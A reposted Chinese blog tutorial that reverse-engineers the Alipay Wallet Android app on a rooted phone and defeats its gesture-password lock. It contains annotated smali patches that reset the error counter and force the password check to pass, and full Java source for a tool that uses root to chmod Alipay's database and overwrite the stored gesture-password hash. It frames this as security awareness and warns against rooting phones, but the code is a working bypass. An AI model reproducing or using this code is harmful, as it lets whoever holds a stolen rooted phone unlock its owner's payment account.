/*

*转自http://blog.csdn.net/hu3167343/article/details/36418063

*本文章由 莫灰灰 编写,转载请注明出处。

*作者:莫灰灰    邮箱: minzhenfei@163.com

*/

背景

随着移动互联网的普及以及手机屏幕越做越大等特点,在移动设备上购物、消费已是人们不可或缺的一个生活习惯了。随着这股浪潮的兴起,安全、便捷的移动支付需求也越来越大。因此,各大互联网公司纷纷推出了其移动支付平台。其中,用的比较多的要数腾讯的微信和阿里的支付宝钱包了。就我而言,平时和同事一起出去AA吃饭,下班回家打车等日常生活都已经离不开这两个支付平台了。

正所谓树大招风,移动支付平台的兴起,也给众多一直徘徊在网络阴暗地带的黑客们又一次重生的机会。因为移动平台刚刚兴起,人们对移动平台的安全认识度还不够。就拿我身边的很多朋友来说,他们一买来手机就开始root,之后卸载预装软件,下载游戏外挂等等。今天,我们就以破解支付宝钱包的手势密码为例,来深入了解下android系统上的一些安全知识,希望能引起人们对移动平台安全的重视。

在此申明:以下文章涉及的代码与分析内容仅供android系统安全知识的学习和交流使用,任何个人或组织不得使用文中提到的技术和代码做违法犯罪活动,否则由此引发的任何后果与法律责任本人概不负责。

实验环境

红米TD版

MIUI-JHACNBA13.0(已越狱)

支付宝钱包8.1.0.043001版

使用工具

APK IDE

Smali.jar

Ddms

SQLite Expert

应用宝

程序分析

准备阶段

安装完支付宝钱包之后,运行软件,我这里选择淘宝帐号登录,界面如图1所示。

图1

登录之后,设置手势密码,如图2所示。

图2

完成上述两步之后,退出支付宝进程。用腾讯应用宝定位到支付宝的安装目录\data\data\com.eg.android.AlipayGphone,查看目录结构如图3所示。

图3

实战开始 - 破解手势密码错误次数限制

看到图3所示的目录结构,猜测databases目录下的*.dB数据库文件就是用来保存上述我们设置的密码的。因此,我们使用应用宝的导出功能将databases目录导出到本地。用SQLite Expert工具打开所有的dB文件,分析发现alipayclient.db数据库中的userinfo表中保存了用户名、输入错误次数、手势密码等详细信息,如图4所示。其中的gestureErrorNum字段应该就是保存了手势密码输入错误的次数了,很明显这里已经被加密了。

图4

使用APK IDE对支付宝的安装包进行解包分析。解包完成之后,搜索setgestureErrorNum字样,结果如图5所示。

图5

经过大致分析,UserInfoDao.smali文件中的addUserInfo函数比较可疑,截取其中一段设置手势密码错误次数的代码如下:

invoke-virtual {v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGestureErrorNum()Ljava/lang/String;

move-result-object v1

#调用getGestureErrorNum函数获得未加密的错误次数,并保存到v1寄存器

invoke-virtual {v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String;

move-result-object v2

#调用getUserId函数获得user id,并保存到v2寄存器

invoke-static {v2},Lcom/alipay/mobile/security/gesture/util/GesutreContainUtil;->get8BytesStr(Ljava/lang/String;)Ljava/lang/String;

move-result-object v2

#获取user id的前8个字节,保存到v2寄存器

invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

move-result-object v1

#以user id的前8字节作为key,调用des加密错误次数字符串,并保存到v1寄存器

invoke-virtual {v0, v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V

#调用setGestureErrorNum函数,将加密的字符串保存

通过对上述代码的分析得知,第一次getGestureErrorNum的调用取出的错误次数应该是未加密的字符串,添加log代码验证,代码如图6所示。

图6

保存修改的smali文件,重新编译打包,安装完成之后,输入错误的手势密码,log输出数字依次递增。最后一次输入正确的手势密码,错误次数重新归0。LogCat捕捉到的日志如图7所示。

图7

程序分析到这里,我不禁猜测,在错误次数未加密前,把v1寄存器的值设置为字符串“0”是不是就可以骗过支付宝而可以无限次的输入手势密码了呢?于是乎,我又开始了下面的验证,代码如图8所示。

图8

编译打包,重新安装支付宝,输入错误的手势密码,发现5次错误之后程序还是让我们重新登录。看来我们这里设置错误次数已经晚了,于是乎,继续搜索调用addUserInfo函数来加密gestureErrorNum的地方。其中,AlipayPattern.smali文件的settingGestureError函数引起了我的注意。函数代码如下:

.method publicsettingGestureError(Lcom/alipay/mobile/framework/app/ui/BaseActivity;Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;I)V

.locals 1

new-instance v0, Ljava/lang/StringBuilder; #初始化StringBuilder实例

invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V

invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;

#p3是一个I类型的整型变量,调用StringBuilder. append赋值

move-result-object v0

invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v0      #调用toString函数转换成字符串类型,赋给v0

invoke-virtual {p2, v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V#调用setGestureErrorNum设置未加密的错误次数字符串

invoke-static {},Lcom/alipay/mobile/framework/AlipayApplication;->getInstance()Lcom/alipay/mobile/framework/AlipayApplication;

move-result-object v0

invoke-static {v0},Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->getInstance(Landroid/content/Context;)Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;

move-result-object v0

invoke-virtual {v0, p2},Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->addUserInfo(Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;)Z

#调用SecurityDbHelper.addUserInfo函数加密、更新数据库

return-void

.end method

分析到这里,想必这里才是最原始的设置手势输入错误次数的地方吧,修改p3的值为0,测试代码如图9所示。

图9

继续打包、编译、测试。随意输入错误的手势密码,支付宝始终显示“密码错误,还可以输入5次”字样,如图10。

图10

至此,手势密码中的错误次数限制已经被我们解除了。理论上来说,我们可以使用穷举法来获取支付宝的手势密码。但是,作为一名分分钟几百万上下的大黑阔来说,使用穷举法来获得密码这种方式,显然是在浪费生命和金钱呀。

越战越勇 – 查找关键跳转

对于大黑阔们来说,只破解手势输入错误次数限制显然是不够的。下面我们以手势密码的存储展开来说起。查看alipayclient.db数据库的userinfo表可知,手势密码的存储字段为gesturePwd,搜索getGesturePwd函数得到如图11的结果。

图11

搜索到的结果比较多,根据前面对手势密码错误次数限制的分析,这里可以排除几个文件,例如UserInfoDao.smali文件,它主要用来保存一些用户态的信息,可暂时跳过。剩下的smali文件,我们一个个分析过来。在这里我想说的一点是,逆向分析确实是很考验一个人耐心和细心的一件事情,一个恍惚就会迷失在浩瀚的汇编代码中,但是等到你找到关键的调用点,分析出核心的算法时,那么心境会豁然开朗,真是有种踏破铁鞋无觅处,得来全不费工夫的感脚。好了,扯远了,下面我们继续。

经过我的仔细分析,e.smali文件最有可能是比较输入密码的地方,双击上面e.smali文件的LINE 47行,跳转到的是a函数。由于函数比较长,只贴关键部分,代码如下:

.method public final a(Ljava/lang/String;)V

.locals 4

invoke-virtual {p1},Ljava/lang/String;->length()I #取输入字符串的长度

move-result v0

sget v1,Lcom/alipay/mobile/security/gesture/component/LockView;->MINSELECTED:I

if-ltv0, v1, :cond_1  #比较字符串长度

:try_start_0

iget-object v0, p0,Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;#获取UserInfo对象

invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String;#调用UserInfo的getGesturePwd函数获得加密过的正确的手势密码

move-result-object v0

invoke-virtual {v0}, Ljava/lang/String;->length()I #取加密过的正确密码的长度

move-result v0

const/16 v1, 0x20

if-le v0, v1, :cond_0 #长度是否小于32

new-instance v0, Ljava/lang/StringBuilder;

invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V #初始化StringBuilder对象

invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

#将输入的明文手势密码赋值给StringBuilder对象

move-result-object v0

iget-object v1, p0,Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;

invoke-virtual {v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String;#调用UserInfo的getUserId函数获取user id

move-result-object v1

const-string/jumbo v2, "userInfo"

invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;#调用des加密函数,以“userInfo”为key,加密user id字符串

move-result-object v1

invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

#将加密好的user id字符串附加到StringBuilder对象上

move-result-object v0

invoke-virtual {v0},Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v0

#StringBuilder对象(输入明文手势的密码 + 加密后的user id)转字符串,并赋值给v0寄存器

invoke-static {v0}, Lcom/alipay/mobile/security/gesture/util/SHA1;->sha1(Ljava/lang/String;)Ljava/lang/String;

#调用静态的sha1函数,计算出一个hash值

move-result-object v0

:goto_0

iget-object v1, p0,Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;

invoke-virtual {v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String;#调用UserInfo的getGesturePwd函数获得加密过的正确的手势密码

move-result-object v1

invoke-virtual {v0, v1},Ljava/lang/String;->equals(Ljava/lang/Object;)Z

#比较输入的密码和正确的密码

move-result v0

if-eqz v0, :cond_1

很显然,上面这个if-eqz是关键,如果比较函数equals返回false,那么跳转到cond_1标签处。cond_1标签处的主要任务就是取当前输入错误的次数,在这个基础上加上1,然后调用settingGestureError函数重新设置错误次数。如果两个字符串相等,那么调用settingGestureError函数把错误次数重新置为0。

下面为了验证我们的猜测,进行如下两步操作:

1、在a函数中加入类似如图12的打印日志代码,这里未全部截图下来,其他地方留给读者自行添加。

图12

2、在if-eqz v0前patch v0,代码如图13所示。

图13

完成上述两步操作之后,保存修改过的smali文件,编译打包,重新安装支付宝钱包客户端,随意输入手势密码。这里引用大魔术师刘谦的一句话,“接下来就是见证奇迹的时刻”。在我们随意输入密码之后,熟悉的支付宝主界面出现在我们眼前,同时LogCat输出日志如图14所示。

图14

日志的组成大致如下:

第一行:用户输入的,还未加密的手势代码;

第二行:保存在数据库中正确的加密后的手势密码;

第三行:未加密的user id;

第四行:采用des加密后的user id;

第五行:拼接用户输入和加密后的user id;

第六行:采用sha1算法计算出来的加密之后的用户输入的手势密码。

通过仔细的分析日志,我们从中可以得出两个结论:

1、真实的手势密码和我们输入的密码是不一样的,但是我们还是进入了支付宝的主界面,证明我们上面第2步中修改的地方非常关键,从而也印证了e.smali文件的a函数确实是比较用户输入和真实密码的关键函数。

2、支付宝是将用户的手势操作转化成对应的数字,然后再做一定的加密处理之后保存到数据库中。比较用户输入的时候,是用相同的加密步骤对用户输入进行加密,再与数据库中保存的密码做比较。数字代码对应如图15所示。

图15

程序分析到这里,我们已经清楚的明白了支付宝手势密码的加密过程和算法,并且通过修改关键跳转的方法,使得我们随意输入手势密码都可以进入支付宝主界面。

仔细思考 – 还原手势密码?

回过头来仔细想想,手势密码的加密流程是这样的,用户输入+user id组成一个字符串,将该字符串经过sha1算法哈希之后得到另一个加密字符串即为手势密码。其中,user id字符串在alipayclient.db数据库的userinfo表中的userId字段已经表明了,正确的手势密码gesturePwd字段也已经有了。虽然sha1算法不可逆,但是在我们的这个实例中,最长输入是9位,最短为4位,我们完全可以通过已知的信息,采用有限的穷举,就能得出正确的手势代码了。相信对于现在的4核乃至8核cpu手机来说,这点计算应该是很轻松的。

但是,我们难道只能通过穷举来实现暴力破解吗?答案是否定的。其实我们完全可以自己构造一个输入,例如0123,采用和支付宝完全相同的加密流程得到手势密码。然后,通过修改userinfo表的gesturePwd字段内容为上面我们计算出来的手势密码,这样,就能实现随意修改手势密码的目的了。想法有了,下面我们编写代码来验证该方法是否可行。

代码实现

查看支付宝使用的sha1算法可知,该算法与支付宝的整体功能业务耦合度基本为0,于是我将sha1算法所在的smali文件转换成jar包,然后导入到我的工程中,这样,就可以直接调用和支付宝完全相同的sha1算法了。程序代码如下所示:

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

setTitle("支付宝手势密码修改器");

szUerIdString = "";

tvStatus = (TextView)findViewById(R.id.textStatus);

etEncryptUserid = (EditText)findViewById(R.id.editEncryptUserId);

etDecryptUserid = (EditText)findViewById(R.id.editDecrypUserId);

etMyPwd = (EditText) findViewById(R.id.editMyselfPwd);

btnOK = (Button)findViewById(R.id.btnSetting);

if(!RootUtils.hasRootPermission()) {

tvStatus.setText("本程序只能在ROOT过的手机上运行!");

return;

}

if(!RootUtils.hasInstalledApp(MainActivity.this, "com.eg.android.AlipayGphone")){

tvStatus.setText("请确认您已经安装了支付宝钱包!");

return;

}

String szUserId =getUserId();

if (!szUserId.isEmpty()) {

szUerIdString =szUserId;

etEncryptUserid.setText(szUserId);

tvStatus.setText("读取user id成功,请输入自定义手势密码!");

StringszDecryptUserid = decryptUserid(szUserId, "userInfo");

if(!szDecryptUserid.isEmpty()) {

etDecryptUserid.setText(szDecryptUserid);

}

else {

tvStatus.setText("解密user id失败!");

}

btnOK.setOnClickListener(newOnClickListener() {

@Override

public void onClick(View view) {

StringszPwd = etMyPwd.getText().toString();

if(szPwd.isEmpty()) {

Toast.makeText(MainActivity.this, "设置的自定义密码不能为空,请重新输入!", Toast.LENGTH_LONG).show();

}

else{

StringBuildersBuilder = new StringBuilder();

sBuilder.append(szPwd);

sBuilder.append(szUerIdString);

Stringtmp = sBuilder.toString();

Stringsha1 = com.alipay.mobile.security.gesture.util.SHA1.sha1(tmp);

Log.v(TAG,sha1);

if(!sha1.isEmpty()) {

if(updateDatabaseGesturePwd(szUerIdString, sha1)) {

tvStatus.setText("设置自定义密码成功!");

}

else{

tvStatus.setText("设置自定义密码失败!");

}

}

}

}

});

}

else {

tvStatus.setText("获取user id失败!");

}

}

获取user id和修改手势密码的代码如下:

// 获取加密的user id

private String getUserId()

{

String szRet = "";

// 修改数据库文件的读写权限

RootUtils.RootCommand("chmod666 /data/data/com.eg.android.AlipayGphone/databases/alipayclient.db");

RootUtils.RootCommand("chmod666/data/data/com.eg.android.AlipayGphone/databases/alipayclient.db-journal");

try {

Context context =createPackageContext("com.eg.android.AlipayGphone",  Context.CONTEXT_IGNORE_SECURITY);

SQLiteDatabase dB=context.openOrCreateDatabase("alipayclient.db", 0, null);

Cursor cursor =db.rawQuery("select * from userinfo", null);

if (cursor.moveToFirst()) {

szRet =cursor.getString(USER_ID_INDEX) ;

}

db.close();

} catch(NameNotFoundException e1) {

e1.printStackTrace();

}

return szRet;

}

// 修改手势密码

private booleanupdateDatabaseGesturePwd(String szUerId, String szPwd) {

boolean bRet = false;

if (szPwd.isEmpty() ||szUerId.isEmpty()) {

return bRet;

}

try {

Context context =createPackageContext("com.eg.android.AlipayGphone",  Context.CONTEXT_IGNORE_SECURITY);

SQLiteDatabase dB=context.openOrCreateDatabase("alipayclient.db", 0, null);

ContentValues cv =new ContentValues();

cv.put("gesturePwd",szPwd);

String[] args ={String.valueOf(szUerId)};

int n =db.update("userinfo", cv, "userId=?", args);

if (n> 0) {

bRet =true;

}

db.close();

} catch(NameNotFoundException e1) {

e1.printStackTrace();

}

return bRet;

}

最后,程序运行效果如图16所示。

图16

输入自定义密码,点击确认,程序提示设置成功。此时,打开支付宝,输入我们的自定义手势代码即可解锁支付宝进入熟悉的主界面了。

后记

如上所述,通过修改支付宝钱包数据库来达到破解目的的方法是需要在已经root过的手机上才能使用的。设想一下这种情况,我的手机已经root,并且手机被盗。那么,除了手机上的艳照有可能泄露之外,小偷还可以通过修改支付宝的手势密码来登录我的支付宝,因此,造成直接的金钱损失也不是没有可能。

一般来说,普通用户日常使用的手机尽量不要去root,也不要随便去下载来历不明的软件和外挂。

[转载]支付宝钱包手势密码破解实战(root过的手机可直接绕过手势密码)的更多相关文章

  1. 支付宝钱包手势密码破解实战(root过的手机可直接绕过手势密码)

    /* 本文章由 莫灰灰 编写,转载请注明出处. 作者:莫灰灰    邮箱: minzhenfei@163.com */ 背景 随着移动互联网的普及以及手机屏幕越做越大等特点,在移动设备上购物.消费已是 ...

  2. 支付宝钱包手势password破解实战(root过的手机可直接绕过手势password)

    /* 本文章由 莫灰灰 编写,转载请注明出处. 作者:莫灰灰    邮箱: minzhenfei@163.com */ 背景 随着移动互联网的普及以及手机屏幕越做越大等特点,在移动设备上购物.消费已是 ...

  3. Wifi密码破解实战

    原文链接地址:http://www.freebuf.com/articles/wireless/127261.html https://www.baidu.com/?tn=98012088_4_dg& ...

  4. CentOS 6或7 启动故障修复及root密码破解

    CentOS 6或7 启动故障修复及root密码破解 目录 CentOS 6或7 启动故障修复及root密码破解 CentOS 6启动流程修复: 实验一:删除initramfs-2.6.32-754. ...

  5. 密码破解工具John the Ripper使用说明

    John the Ripper John 包描述 John the Ripper 既功能丰富又运行快速. 它在一个程序中结合了几种破解模式,并且可以根据您的特定需求进行全面地配置(你甚至可以使用支持C ...

  6. Android 支付宝钱包手势password裂纹战斗

    底 随着移动互联网和手机屏幕越做越大的普及等..购物在移动设备上.消费是必不可少的人们习惯于生活. 随着这股浪潮的兴起,安全.便捷的移动支付的需求也越来越大.故,各大互联网公司纷纷推出了移动支付平台. ...

  7. Andriod手势密码破解

    ★ 引子 之前在Freebuf上看到一片文章讲Andriod的手势密码加密原理,觉得比较有意思,所以就写了一个小程序试试. ★ 原理            Android的手势密码加密原理很简单: 先 ...

  8. Linux各版本的本地root密码破解方法

    (一)RedHat/CentOS/Fedora 系统密码破解 1.在grub选项菜单按E进入编辑模式 2.编辑kernel 那行最后加上S (或者Single) 3.按B,启动到single-user ...

  9. Linux加密、安全版块、root密码破解

    当一个入侵者进入了你的系统并且种植了木马,通常会想办法来隐蔽这个木马(除了木马自身的一些隐蔽特性外,他会尽量给你检查系统的过程设置障碍),通常入侵者会修改一些文件,比如管理员通常用ps -aux来查看 ...

随机推荐

  1. Mac环境下安装运行splash

    http://blog.csdn.net/chenhy8208/article/details/69391097 最近需要使用scrapy爬虫做一些开发,用到了splash.我本机是mac环境,跳着看 ...

  2. Android Studio调试工具总结

       前言:写代码不可避免有Bug.通常情况下除了日志最直接的调试手段就是debug.当我们的程序出现bug时,调试能够高速的找到bug. 进入调试状态.我们能够清晰的了解程序的整个运行过程,能够对内 ...

  3. Six ways to think like a journalist!

    Journalists have the ability to state a thing more clearly. What can we learn from them to help us r ...

  4. Java自定义注解和运行时靠反射获取注解

    转载:http://blog.csdn.net/bao19901210/article/details/17201173/ java自定义注解 Java注解是附加在代码中的一些元信息,用于一些工具在编 ...

  5. Windows 如何为绿色软件运行时添加参数 如最小化,无窗口运行

    1 有些软件运行的时候需要或者可以添加参数来实现一些特殊要求,比如开机自启动,运行时不显示主界面,不显示托盘图标等,比如下面的这个流量精灵软件,"urlcore.exe /h /r /t 4 ...

  6. JavaScript技巧手冊

    js小技巧 每一项都是js中的小技巧,但十分的有用! 1.document.write(""); 输出语句  2.JS中的凝视为//  3.传统的HTML文档顺序是:documen ...

  7. web图片转换小工具制作

    HTML <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <titl ...

  8. ZOJ 3626 Treasure Hunt I(树形dp)

    Treasure Hunt I Time Limit: 2 Seconds      Memory Limit: 65536 KB Akiba is a dangerous country since ...

  9. binary-tree-level-order-traversal I、II——输出二叉树的数字序列

    I Given a binary tree, return the level order traversal of its nodes' values. (ie, from left to righ ...

  10. 大牛blog汇总

    系列专题的文件夹 01. Java String系列 (共3篇) 02. Java异常系列 (共3篇) 03. Java 时间日期系列 (共7篇) 04. java io系列 (共26篇) 05, J ...